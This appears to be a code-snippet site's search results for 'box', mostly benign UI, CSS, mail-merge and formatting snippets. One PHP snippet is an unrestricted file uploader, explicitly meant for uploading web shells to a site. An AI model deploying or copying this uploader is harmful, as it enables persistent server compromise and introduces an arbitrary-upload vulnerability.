working on it ...

Filters

Explore Public Snippets

Sort by

Found 21k snippets matching: box

    public by sherazam  228308  0  5  0

    How to Insert Check Boxes or HTML into Word Docs during Mail Merge inside .NET Apps

    How to Insert Check Boxes or HTML into Word Docs during Mail Merge inside .NET Apps
    // Enter here the actual content of the snippet.            
    //[C# Code Sample]
     
    using System;
    using System.IO;
    using System.Reflection;
    using Aspose.Words;
    using Aspose.Words.Fields;
    using Aspose.Words.MailMerging;
    
    namespace MailMergeFormFields
    {
        /// <summary>
        /// This sample shows how to insert check boxes and text input form fields during mail merge into a document.
        /// </summary>
        class Program
        {
            /// <summary>
            /// The main entry point for the application.
            /// </summary>
            public static void Main(string[] args)
            {
                Program program = new Program();
                program.Execute();
            }
    
            private void Execute()
            {
                string exeDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + Path.DirectorySeparatorChar;
                string dataDir = new Uri(new Uri(exeDir), @"../../Data/").LocalPath;
    
                // Load the template document.
                Document doc = new Document(dataDir + "Template.doc");
    
                // Setup mail merge event handler to do the custom work.
                doc.MailMerge.FieldMergingCallback = new HandleMergeField();
    
                // This is the data for mail merge.
                String[] fieldNames = new String[] {"RecipientName", "SenderName", "FaxNumber", "PhoneNumber",
                    "Subject", "Body", "Urgent", "ForReview", "PleaseComment"};
                Object[] fieldValues = new Object[] {"Josh", "Jenny", "123456789", "", "Hello",
                    "<b>HTML Body Test message 1</b>", true, false, true};
    
                // Execute the mail merge.
                doc.MailMerge.Execute(fieldNames, fieldValues);
    
                // Save the finished document.
                doc.Save(dataDir + "Template Out.doc");
            }
    
            private class HandleMergeField : IFieldMergingCallback
            {
                /// <summary>
                /// This handler is called for every mail merge field found in the document,
                ///  for every record found in the data source.
                /// </summary>
                void IFieldMergingCallback.FieldMerging(FieldMergingArgs e)
                {
                    if (mBuilder == null)
                        mBuilder = new DocumentBuilder(e.Document);
    
                    // We decided that we want all boolean values to be output as check box form fields.
                    if (e.FieldValue is bool)
                    {
                        // Move the "cursor" to the current merge field.
                        mBuilder.MoveToMergeField(e.FieldName);
    
                        // It is nice to give names to check boxes. Lets generate a name such as MyField21 or so.
                        string checkBoxName = string.Format("{0}{1}", e.FieldName, e.RecordIndex);
    
                        // Insert a check box.
                        mBuilder.InsertCheckBox(checkBoxName, (bool)e.FieldValue, 0);
    
                        // Nothing else to do for this field.
                        return;
                    }
    
                    // We want to insert html during mail merge.
                    if (e.FieldName == "Body")
                    {
                        mBuilder.MoveToMergeField(e.FieldName);
                        mBuilder.InsertHtml((string)e.FieldValue);
                    }
    
                    // Another example, we want the Subject field to come out as text input form field.
                    if (e.FieldName == "Subject")
                    {
                        mBuilder.MoveToMergeField(e.FieldName);
                        string textInputName = string.Format("{0}{1}", e.FieldName, e.RecordIndex);
                        mBuilder.InsertTextInput(textInputName, TextFormFieldType.Regular, "", (string)e.FieldValue, 0);
                    }
                }
    
                void IFieldMergingCallback.ImageFieldMerging(ImageFieldMergingArgs args)
                {
                    // Do nothing.
                }
    
                private DocumentBuilder mBuilder;
            }
        }
    }
     
    //[VB.NET Code Sample]
     
    
    Imports Microsoft.VisualBasic
    Imports System
    Imports System.IO
    Imports System.Reflection
    Imports Aspose.Words
    Imports Aspose.Words.Fields
    Imports Aspose.Words.MailMerging
    
    Namespace MailMergeFormFields
        ''' <summary>
        ''' This sample shows how to insert check boxes and text input form fields during mail merge into a document.
        ''' </summary>
        Friend Class Program
            ''' <summary>
            ''' The main entry point for the application.
            ''' </summary>
            Public Shared Sub Main(ByVal args() As String)
                Dim program As New Program()
                program.Execute()
            End Sub
    
            Private Sub Execute()
                Dim exeDir As String = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location) + Path.DirectorySeparatorChar
                Dim dataDir As String = New Uri(New Uri(exeDir), "../../Data/").LocalPath
    
                ' Load the template document.
                Dim doc As New Document(dataDir & "Template.doc")
    
                ' Setup mail merge event handler to do the custom work.
                doc.MailMerge.FieldMergingCallback = New HandleMergeField()
    
                ' This is the data for mail merge.
                Dim fieldNames() As String = {"RecipientName", "SenderName", "FaxNumber", "PhoneNumber", "Subject", "Body", "Urgent", "ForReview", "PleaseComment"}
                Dim fieldValues() As Object = {"Josh", "Jenny", "123456789", "", "Hello", "<b>HTML Body Test message 1</b>", True, False, True}
    
                ' Execute the mail merge.
                doc.MailMerge.Execute(fieldNames, fieldValues)
    
                ' Save the finished document.
                doc.Save(dataDir & "Template Out.doc")
            End Sub
    
            Private Class HandleMergeField
                Implements IFieldMergingCallback
                ''' <summary>
                ''' This handler is called for every mail merge field found in the document,
                '''  for every record found in the data source.
                ''' </summary>
                Private Sub IFieldMergingCallback_FieldMerging(ByVal e As FieldMergingArgs) Implements IFieldMergingCallback.FieldMerging
                    If mBuilder Is Nothing Then
                        mBuilder = New DocumentBuilder(e.Document)
                    End If
    
                    ' We decided that we want all boolean values to be output as check box form fields.
                    If TypeOf e.FieldValue Is Boolean Then
                        ' Move the "cursor" to the current merge field.
                        mBuilder.MoveToMergeField(e.FieldName)
    
                        ' It is nice to give names to check boxes. Lets generate a name such as MyField21 or so.
                        Dim checkBoxName As String = String.Format("{0}{1}", e.FieldName, e.RecordIndex)
    
                        ' Insert a check box.
                        mBuilder.InsertCheckBox(checkBoxName, CBool(e.FieldValue), 0)
    
                        ' Nothing else to do for this field.
                        Return
                    End If
    
                    ' We want to insert html during mail merge.
                    If e.FieldName = "Body" Then
                        mBuilder.MoveToMergeField(e.FieldName)
                        mBuilder.InsertHtml(DirectCast(e.FieldValue, String))
                    End If
    
                    ' Another example, we want the Subject field to come out as text input form field.
                    If e.FieldName = "Subject" Then
                        mBuilder.MoveToMergeField(e.FieldName)
                        Dim textInputName As String = String.Format("{0}{1}", e.FieldName, e.RecordIndex)
                        mBuilder.InsertTextInput(textInputName, TextFormFieldType.Regular, "", CStr(e.FieldValue), 0)
                    End If
                End Sub
    
                Private Sub ImageFieldMerging(ByVal args As ImageFieldMergingArgs) Implements IFieldMergingCallback.ImageFieldMerging
                    ' Do nothing.
                End Sub
    
                Private mBuilder As DocumentBuilder
            End Class
        End Class
    End Namespace
    
    

    public by Github  57768  1  3  0

    CSS3 Box Shadow, only top/right/bottom/left and all

    CSS3 Box Shadow, only top/right/bottom/left and all: box-shadow.html
    <!DOCTYPE html>
    <html>
    	<head>
    		<title>Box Shadow</title>
    		
    		<style>
    			.box {
    				height: 150px;
    				width: 300px;
    				margin: 20px;
    				border: 1px solid #ccc;
    			}
    			
    			.top {
    				box-shadow: 0 -5px 5px -5px #333;
    			}
    			
    			.right {
    				box-shadow: 5px 0 5px -5px #333;
    			}
    			
    			.bottom {
    				box-shadow: 0 5px 5px -5px #333;
    			}
    			
    			.left {
    				box-shadow: -5px 0 5px -5px #333;
    			}
    			
    			.all {
    				box-shadow: 0 0 5px #333;
    			}
    		</style>
    	</head>
    	<body>
    		<div class="box top"></div>
    		<div class="box right"></div>
    		<div class="box bottom"></div>
    		<div class="box left"></div>
    		<div class="box all"></div>
    	</body>
    </html>
    
    
    

    public by boxshadow  96693  1  3  1

    Function to Format Phone Number with RegEx and Coldfusion

    Function to Format Phone Number with RegEx and Coldfusion: formatPhone.cfc
    <cfscript>
         component output="false" {
    
            public formatPhone function init(){
                    return this;
                    }
    
    	public string function formatPhone(required string phoneNumber)
    		description="Strips out anything that isn't a number and then takes the first 10 digits and formats them to our spec: (404) 555-1212"
    		output="false" 
    		{
    			var failedReturn = 0;
    			// Strip out everything but the numbers
    			var cleanNumber = REReplaceNoCase(arguments.phoneNumber,"[^0-9]","","All");
    			
    			// area code can't start with a 1 or 0, so remove them if they are at the beginning
    			do{
    				if(Left(cleanNumber,1) EQ 1 OR Left(cleanNumber,1) EQ 0){
    					cleanNumber = right(cleanNumber,len(cleanNumber) - 1);
    				}
    			}
    			while(left(cleanNumber,1) EQ 1 OR left(cleanNumber,1) EQ 0);
    			
    			// If there are stil 10 or more digits left, lets use the left 10 and drop the rest
    			if(len(cleanNumber) LT 10){
    				return failedReturn;
    			}
    			else{
    				cleanNumber = left(cleanNumber,10);
    			}
    			// Format the 10 digits we have
    			cleanNumber = "(#left(cleanNumber,3)#) #mid(cleanNumber,4,3)#-#right(cleanNumber,4)#";
    			return cleanNumber;		
    		}
         }
    </cfscript>
    
    

    public by boxshadow  83056  0  3  0

    SQL Query ordering by character length.

    SQL Query ordering by character length.: charLength.sql
    SELECT 
      * 
    FROM
       badwords 
    ORDER BY CHAR_LENGTH(strBadWord) DESC 
    
    

    public by snip2code  16049  112  8  3

    Custom SWT List Box

    This widget presents a ListBox, with vertical scroll-bars, whose items can be custom (instead of simple strings as in List widget). The items should be of the same height and all homogeneous.
    import java.util.HashMap;
    import java.util.Map;
    
    import org.apache.log4j.Logger;
    import org.eclipse.swt.SWT;
    import org.eclipse.swt.custom.ScrolledComposite;
    import org.eclipse.swt.events.SelectionAdapter;
    import org.eclipse.swt.events.SelectionEvent;
    import org.eclipse.swt.graphics.Color;
    import org.eclipse.swt.graphics.Cursor;
    import org.eclipse.swt.graphics.Font;
    import org.eclipse.swt.layout.FormData;
    import org.eclipse.swt.widgets.Composite;
    import org.eclipse.swt.widgets.Control;
    import org.eclipse.swt.widgets.Event;
    import org.eclipse.swt.widgets.Label;
    import org.eclipse.swt.widgets.Link;
    import org.eclipse.swt.widgets.Listener;
    import org.eclipse.wb.swt.SWTResourceManager;
    
    public class CustomListBox extends Composite {
    
    	protected static Logger log = Logger.getLogger(CustomListBox.class);
    	
    	private ScrolledComposite scrolledResults;
    	private Composite listResults;
    	
    	private int width;
    	private int height;
    	private int itemRowHeight;
    	private int rowWidth;
    	private int maxResultsDisplayed;
    	
    	private Map<String, Composite> rows = new HashMap<String, Composite>();
    	
    	/**
    	 * 
    	 * @param parent container of the component
    	 * @param style style of the componen
    	 * @param marginLeft pixels from left border of the dialog
    	 * @param topHeight pixels from top border fo the dialog
    	 * @param width total width in pixel of the component
    	 * @param height total height in pixel of the component
    	 * @param scrolledCompoFormData FormData for the component
    	 * @param itemRowHeight height in pixel of a single item
    	 */
    	public CustomListBox(Composite parent, int style, int marginLeft, int topHeight, int width, int height,
    			FormData scrolledCompoFormData, int itemRowHeight) {
    		super(parent, style);
    
    		this.width = width;
    		rowWidth = width - 25;
    		this.height = height;
    		this.itemRowHeight = itemRowHeight;
    		maxResultsDisplayed = height / itemRowHeight;
    		
    		scrolledResults = new ScrolledComposite(parent, SWT.BORDER | SWT.V_SCROLL);
    		scrolledResults.setLocation(marginLeft, topHeight);
    		scrolledResults.setSize(width, height);
    		scrolledResults.setExpandHorizontal(false);
    		scrolledResults.setExpandVertical(true);
    		scrolledResults.setBackground(SWTResourceManager.getColor(SWT.COLOR_WHITE));
    		scrolledResults.setMinSize(width, height);	
    		scrolledCompoFormData.height = height;	//force height of the component
    		scrolledResults.setLayoutData(scrolledCompoFormData);
    		scrolledResults.getVerticalBar().setIncrement(scrolledResults.getVerticalBar().getIncrement()*10);
    		scrolledResults.addListener(SWT.Activate, new Listener() {
    		    public void handleEvent(Event e) {
    		    	scrolledResults.setFocus();
    		    }
    		});
    		
    		listResults = new Composite(scrolledResults, SWT.NONE);
    		listResults.setSize(width, height);
    		listResults.setBackground(SWTResourceManager.getColor(SWT.COLOR_WHITE));
    		scrolledResults.setContent(listResults);
    		
    		parent.addListener(SWT.Resize, new Listener() { 
    			public void handleEvent(Event event) { 
    				resizeScrollableResults();
    			} 
    		}); 
    		parent.notifyListeners(SWT.Resize, new Event()); 
    	}
    	
    	
    	private void resizeScrollableResults() {
    		int actualHeight = rows.size() * itemRowHeight;
    		scrolledResults.setMinSize(width, Math.max(actualHeight, height));
    		scrolledResults.layout();
    	}
    	
    	@Override
    	public void layout() {
    		listResults.layout();
    		resizeScrollableResults();
    	}
    	
    	/**
    	 * Creates a new row in the list, identified by the given key.
    	 * @param key identifier to retrieve the newly created item
    	 * @return the just created and added composite item
    	 * @throws IllegalArgumentException if key already exists or is null/empty
    	 */
    	public Composite addRow(String key) throws IllegalArgumentException {
    		if (key == null || key.length() <= 0)
    			throw new IllegalArgumentException("Null or empty key");
    		if (rows.containsKey(key))
    			throw new IllegalArgumentException("Item with key " + key + " already exists");
    		
    		int rowCompoWidth = rowWidth;
    		if (!scrollbarIsShown()) 
    			rowCompoWidth += 20;
    		
    		final Composite rowCompo = new Composite(listResults, SWT.BORDER);
    		rowCompo.setLocation(0, (rows.size() * itemRowHeight));
    		rowCompo.setSize(rowCompoWidth, itemRowHeight - 2);
    		rowCompo.setBackground(SWTResourceManager.getColor(SWT.COLOR_WHITE));
    
    		rows.put(key, rowCompo);
    		
    		return rowCompo;
    	}
    	
    	/**
    	 * True if the number of items is greater than the total visible items 
    	 */
    	public boolean scrollbarIsShown() {
    		return (rows.size() >= maxResultsDisplayed);
    	}
    	
    	/**
    	 * Returns the number of visible items
    	 */
    	public int getMaxResultsDisplayed() {
    		return maxResultsDisplayed;
    	}
    	
    	/**
    	 * Empties the list of items in the list and shows a single item with the given text
    	 * @param textToShow text to display
    	 * @param font font of the text to display
    	 * @param backgroundColor background color of the item that shows the text to display
    	 * @param link link to follow (if not empty, a Link instead of a Label will be created)
    	 */
    	public void displayMessage(String textToShow, Font font, Color backgroundColor, final String link) {
    		final Composite rowCompo = new Composite(listResults, SWT.NONE);
    		rowCompo.setLocation(0, 0);
    		rowCompo.setSize(width, itemRowHeight - 2);
    		rowCompo.setBackground(backgroundColor);
    
    		Control lblNoResults = null;
    		if (link != null) {
    			lblNoResults = new Link(rowCompo, SWT.NONE);
    			((Link)lblNoResults).setText(textToShow);
    			((Link)lblNoResults).setCursor(new Cursor(getShell().getDisplay(), SWT.CURSOR_HAND));
    			((Link)lblNoResults).addSelectionListener(new SelectionAdapter() {
    				@Override
    				public void widgetSelected(SelectionEvent e) {
    					//something to do with the link...
    				}
    			});
    		} else {		
    			lblNoResults = new Label(rowCompo, SWT.NONE);
    			((Label)lblNoResults).setAlignment(SWT.CENTER);
    			((Label)lblNoResults).setText(textToShow);
    		}
    		lblNoResults.setBounds(0, 0, width, itemRowHeight - 2); 
    		lblNoResults.setFont(font);
    		lblNoResults.setBackground(backgroundColor);
    	}
    	
    	/**
    	 * Removes all the items from the list and dispose all the children content
    	 */
    	public void cleanItems() {
    		//clean previous results:
    		Control[] children = listResults.getChildren();
    		if (children != null) {
    			for (Control child : children) {
    				child.dispose();
    			}
    		}
    		
    		rows = new HashMap<String, Composite>();
    	}
    }

    public by LongBeard  4003  2  4  0

    Webpage Top Box Shadow

    Webpage Top Box Shadow: webpageTopBoxShadow.css
    body:before {
        content: "";
        position: fixed;
        top: -10px;
        left: 0;
        width: 100%;
        height: 10px;
     
        -webkit-box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        -moz-box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        z-index: 100;
    }
    
    

    public by MatteoP  3148  6  6  0

    Convert click coordinates form picture box to image

    //Convert coordinates of click from PictureBox reference to Image reference.
    
    private void pbBOX_MouseClick(object sender, MouseEventArgs e)
            {
                //we need to convert the coordinates of the click event from those of the picture box to those of the image
                int X = e.Location.X;
                int Y = e.Location.Y;
                if (pbBOX.Image != null)
                {
                    switch (pbBOX.SizeMode)
                    {
                        case PictureBoxSizeMode.AutoSize:
                            //The PictureBox is sized equal to the size of the image that it contains.
                            //The coordinates related to the picturebox are the same as those related to the image.
                            break;
                        case PictureBoxSizeMode.CenterImage:
                            //The image is displayed in the center if the PictureBox is larger than the image.
                            //If the image is larger than the PictureBox, the picture is placed in the center of the PictureBox and the outside edges are clipped.
                            int diffWidth = (pbBOX.Width - pbBOX.Image.Width) / 2;
                            int diffHeight = (pbBOX.Height - pbBOX.Image.Height) / 2;
                            X -= diffWidth;
                            Y -= diffHeight;
                            break;
                        case PictureBoxSizeMode.Normal:
                            //The image is placed in the upper-left corner of the PictureBox. The image is clipped if it is larger than the PictureBox it is contained in.
                            //The coordinates related to the picturebox are the same as those related to the image.
                            break;
                        case PictureBoxSizeMode.StretchImage:
                            //The image within the PictureBox is stretched or shrunk to fit the size of the PictureBox.
                            if (!(pbBOX.Width == 0 || pbBOX.Height == 0))
                            {
                                double ratioWidth = (double)pbBOX.Image.Width / (double)pbBOX.Width;
                                double ratioHeight = (double)pbBOX.Image.Height / (double)pbBOX.Height;
                                X = (int)(X * ratioWidth);
                                Y = (int)(Y * ratioHeight);
                            }
                            break;
                        case PictureBoxSizeMode.Zoom:
                            //The size of the image is increased or decreased maintaining the size ratio.
                            if (!(pbBOX.Width == 0 || pbBOX.Height == 0 || pbBOX.Image.Width == 0 || pbBOX.Image.Height == 0))
                            {
                                double imAspectRatio = (double)pbBOX.Image.Width / (double)pbBOX.Image.Height;
                                double pbAspectRatio = (double)pbBOX.Width / (double)pbBOX.Height;
                                if (imAspectRatio > pbAspectRatio)
                                {
                                    //the limit is the width of the control
                                    //the image fills the picture box from left to right
                                    double ratioWidth = (double)pbBOX.Image.Width / (double)pbBOX.Width;
                                    X = (int)(X * ratioWidth);
                                    double scale = (double)pbBOX.Width / (double)pbBOX.Image.Width;
                                    double diffH = ((double)pbBOX.Height - scale * (double)pbBOX.Image.Height) / 2;
                                    Y = (int)(((double)Y - diffH) / scale);
                                }
                                else
                                {
                                    //the limit is the height of the control
                                    //the image fills the picture box from top to bottom
                                    double ratioHeight = (double)pbBOX.Image.Height / (double)pbBOX.Height;
                                    Y = (int)(Y * ratioHeight);
                                    double scale = (double)pbBOX.Height / (double)pbBOX.Image.Height;
                                    double diffW = ((double)pbBOX.Width - scale * (double)pbBOX.Image.Width) / 2;
                                    X = (int)(((double)X - diffW) / scale);
                                }
                            }
                            break;
                        default:
                            break;
                    }
                }
          }

    public by Fresh-Dev  3253  1  4  0

    Webpage Top Box Shadow

    Webpage Top Box Shadow: webpageTopBoxShadow.css
    body:before {
        content: "";
        position: fixed;
        top: -10px;
        left: 0;
        width: 100%;
        height: 10px;
     
        -webkit-box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        -moz-box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        box-shadow: 0px 0px 10px rgba(0,0,0,.8);
        z-index: 100;
    }
    
    

    public by sh1nu11bi  2248  1  4  0

    PHP upload box to upload shells to site

    PHP upload box to upload shells to site: gistfile1.txt
    PHP
    <?php
    echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
    echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
    if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; }
        else { echo '<b>Upload Failed !!! Try again</b><br><br>'; }
    }
    ?>
    
    

    public by arsnie  2301  0  3  0

    Divi Meta Box

    // custom_script.js for divi_override_js() in functions.php
    
    (function($) {
        $(document).ready(function() {
            function toggle_dps() {
                setTimeout(function(){
                    $('.et_pb_page_layout_settings' ).closest( '#et_settings_meta_box' ).find('.et_pb_page_layout_settings').show();
                },150);
            }
            if ($('body').hasClass('post-type-slug')) {
                toggle_dps();
                $('#et_pb_toggle_builder').click(function(){
                    toggle_dps();
                });
            }
        });
    })(jQuery);                        
    • Public Snippets
    • Channels Snippets